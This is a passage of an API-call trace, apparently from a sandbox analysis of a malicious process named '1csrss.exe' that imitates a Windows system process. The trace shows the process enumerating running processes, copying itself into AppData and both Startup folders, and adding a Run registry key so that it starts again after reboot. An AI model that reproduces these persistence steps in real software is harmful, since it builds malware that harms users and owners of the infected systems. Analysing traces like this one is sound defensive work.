cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0317.594] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0317.594] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.595] lstrlenW (lpString="svchost.exe") returned 11 [0317.595] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.595] lstrlenW (lpString="dllhost.exe") returned 11 [0317.595] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.596] lstrlenW (lpString="dllhost.exe") returned 11 [0317.596] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.596] lstrlenW (lpString="dllhost.exe") returned 11 [0317.596] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0317.597] lstrlenW (lpString="1csrss.exe") returned 10 [0317.597] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 0 [0317.597] CloseHandle (hObject=0x238) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a2ad8 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a2b20 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a34d0 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a3590 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a3110 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a2080 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a3570 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a3530 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8078 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c80c8 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a3430 | out: hHeap=0x490000) returned 1 [0317.598] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c80f0 | out: hHeap=0x490000) returned 1 [0317.598] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4d0020 [0317.598] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4e0028 [0317.598] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce178 [0317.598] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce178, Size=0x20) returned 0x4c8078 [0317.598] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8078, Size=0x40) returned 0x4a29b8 [0317.598] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce310 [0317.598] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce310, Size=0x20) returned 0x4c80a0 [0317.598] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce328 [0317.598] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce328, Size=0x20) returned 0x4c8168 [0317.598] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce280 [0317.598] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce280, Size=0x20) returned 0x4c80c8 [0317.599] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c80c8, Size=0x40) returned 0x4a2bf8 [0317.599] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e0028, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe")) returned 0x1e [0317.599] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f0030 [0317.599] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x500038 [0317.599] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce328 [0317.599] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce328, Size=0x20) returned 0x4c8230 [0317.599] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8230, Size=0x40) returned 0x4a2c88 [0317.599] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2c88, Size=0x80) returned 0x4ce860 [0317.599] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce860, Size=0x100) returned 0x4ce860 [0317.599] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.599] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce860 | out: hHeap=0x490000) returned 1 [0317.599] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\1csrss.exe", lpDst=0x4f0030, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\1csrss.exe") returned 0x1f [0317.599] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500038 | out: hHeap=0x490000) returned 1 [0317.600] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f0030 | out: hHeap=0x490000) returned 1 [0317.600] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x2417020 [0317.602] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce280 [0317.602] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce280, Size=0x20) returned 0x4c82d0 [0317.602] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce1f0 [0317.602] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce1f0, Size=0x20) returned 0x4c8140 [0317.602] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.602] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.603] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0317.603] lstrlenW (lpString="kernel32.dll") returned 12 [0317.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c82d0 | out: hHeap=0x490000) returned 1 [0317.603] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8140 | out: hHeap=0x490000) returned 1 [0317.603] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0317.603] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0317.603] CloseHandle (hObject=0x238) returned 1 [0317.603] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce058 [0317.603] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce058, Size=0x20) returned 0x4c8190 [0317.603] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce1a8 [0317.603] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce1a8, Size=0x20) returned 0x4c82d0 [0317.603] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.603] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.603] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0317.603] lstrlenW (lpString="kernel32.dll") returned 12 [0317.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c82d0 | out: hHeap=0x490000) returned 1 [0317.603] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8190 | out: hHeap=0x490000) returned 1 [0317.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x2417020 | out: hHeap=0x490000) returned 1 [0317.608] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f0030 [0317.608] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x500038 [0317.608] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce058 [0317.608] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce058, Size=0x20) returned 0x4c7f88 [0317.608] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c7f88, Size=0x40) returned 0x4a2850 [0317.608] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2850, Size=0x80) returned 0x4ce860 [0317.608] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce860, Size=0x100) returned 0x4ce860 [0317.608] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.608] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce860 | out: hHeap=0x490000) returned 1 [0317.608] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\1csrss.exe", lpDst=0x4f0030, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe") returned 0x2b [0317.608] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500038 | out: hHeap=0x490000) returned 1 [0317.609] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f0030 | out: hHeap=0x490000) returned 1 [0317.609] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x2419020 [0317.611] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce0d0 [0317.611] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce0d0, Size=0x20) returned 0x4c8190 [0317.611] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce0a0 [0317.611] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce0a0, Size=0x20) returned 0x4c8000 [0317.612] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.612] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.612] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0317.612] lstrlenW (lpString="kernel32.dll") returned 12 [0317.612] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8190 | out: hHeap=0x490000) returned 1 [0317.612] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.612] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8000 | out: hHeap=0x490000) returned 1 [0317.612] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0317.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0317.612] ReadFile (in: hFile=0x238, lpBuffer=0x2419020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2419020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0317.615] WriteFile (in: hFile=0x23c, lpBuffer=0x2419020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2419020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0317.617] ReadFile (in: hFile=0x238, lpBuffer=0x2419020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2419020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0317.617] CloseHandle (hObject=0x23c) returned 1 [0317.617] CloseHandle (hObject=0x238) returned 1 [0317.617] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce2b0 [0317.617] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce2b0, Size=0x20) returned 0x4c8078 [0317.617] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce160 [0317.617] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce160, Size=0x20) returned 0x4c80c8 [0317.617] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.617] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.617] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0317.617] lstrlenW (lpString="kernel32.dll") returned 12 [0317.617] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c80c8 | out: hHeap=0x490000) returned 1 [0317.617] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.617] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8078 | out: hHeap=0x490000) returned 1 [0317.617] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x2419020 | out: hHeap=0x490000) returned 1 [0317.622] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce328 [0317.622] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce328, Size=0x20) returned 0x4c80c8 [0317.622] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c80c8, Size=0x40) returned 0x4a2730 [0317.622] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2730, Size=0x80) returned 0x4ce860 [0317.622] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe") returned 42 [0317.622] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0317.622] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x5c) returned 0x4cece0 [0317.622] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x238) returned 0x0 [0317.622] RegSetValueExW (in: hKey=0x238, lpValueName="1csrss.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe", cbData=0x54 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe") returned 0x0 [0317.622] RegCloseKey (hKey=0x238) returned 0x0 [0317.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cece0 | out: hHeap=0x490000) returned 1 [0317.622] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0317.622] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce860 | out: hHeap=0x490000) returned 1 [0317.622] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f0030 [0317.622] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x500038 [0317.623] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce070 [0317.623] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce070, Size=0x20) returned 0x4c7f60 [0317.623] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c7f60, Size=0x40) returned 0x4a26a0 [0317.623] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a26a0, Size=0x80) returned 0x4ce860 [0317.623] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce860, Size=0x100) returned 0x4ce860 [0317.623] lstrlenW (lpString="") returned 0 [0317.623] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.623] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8c) returned 0x4ce968 [0317.623] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x238) returned 0x0 [0317.623] RegQueryValueExW (in: hKey=0x238, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x500038, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x500038*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0317.623] RegCloseKey (hKey=0x238) returned 0x0 [0317.623] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce968 | out: hHeap=0x490000) returned 1 [0317.623] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.623] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8c) returned 0x4ce968 [0317.623] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x23c) returned 0x0 [0317.624] RegQueryValueExW (in: hKey=0x23c, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x500038, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0317.624] RegCloseKey (hKey=0x23c) returned 0x0 [0317.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce968 | out: hHeap=0x490000) returned 1 [0317.624] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0317.624] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce860 | out: hHeap=0x490000) returned 1 [0317.624] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe", lpDst=0x4f0030, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe") returned 0x59 [0317.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500038 | out: hHeap=0x490000) returned 1 [0317.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f0030 | out: hHeap=0x490000) returned 1 [0317.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x2419020 [0317.627] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce2f8 [0317.627] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce2f8, Size=0x20) returned 0x4c7f60 [0317.627] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce1f0 [0317.627] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce1f0, Size=0x20) returned 0x4c82d0 [0317.627] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.627] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.627] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0317.627] lstrlenW (lpString="kernel32.dll") returned 12 [0317.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c7f60 | out: hHeap=0x490000) returned 1 [0317.627] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c82d0 | out: hHeap=0x490000) returned 1 [0317.627] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0317.627] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0317.635] ReadFile (in: hFile=0x23c, lpBuffer=0x2419020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2419020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0317.637] WriteFile (in: hFile=0x240, lpBuffer=0x2419020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2419020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0317.639] ReadFile (in: hFile=0x23c, lpBuffer=0x2419020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2419020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0317.639] CloseHandle (hObject=0x240) returned 1 [0317.650] CloseHandle (hObject=0x23c) returned 1 [0317.650] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce280 [0317.650] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce280, Size=0x20) returned 0x4c82f8 [0317.650] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce058 [0317.650] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce058, Size=0x20) returned 0x4c8050 [0317.650] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.650] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.650] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0317.650] lstrlenW (lpString="kernel32.dll") returned 12 [0317.650] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8050 | out: hHeap=0x490000) returned 1 [0317.650] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.650] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c82f8 | out: hHeap=0x490000) returned 1 [0317.650] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x2419020 | out: hHeap=0x490000) returned 1 [0317.654] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f0030 [0317.655] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x500038 [0317.655] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce0d0 [0317.655] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce0d0, Size=0x20) returned 0x4c8140 [0317.655] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8140, Size=0x40) returned 0x4a2778 [0317.655] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2778, Size=0x80) returned 0x4ce860 [0317.655] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce860, Size=0x100) returned 0x4ce860 [0317.655] lstrlenW (lpString="") returned 0 [0317.655] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.655] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8c) returned 0x4ce968 [0317.655] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x23c) returned 0x0 [0317.655] RegQueryValueExW (in: hKey=0x23c, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x500038, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0317.655] RegCloseKey (hKey=0x23c) returned 0x0 [0317.655] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce968 | out: hHeap=0x490000) returned 1 [0317.655] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0317.655] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.655] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce860 | out: hHeap=0x490000) returned 1 [0317.655] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe", lpDst=0x4f0030, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe") returned 0x48 [0317.655] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500038 | out: hHeap=0x490000) returned 1 [0317.655] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f0030 | out: hHeap=0x490000) returned 1 [0317.656] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x2417020 [0317.658] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ce2f8 [0317.658] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, 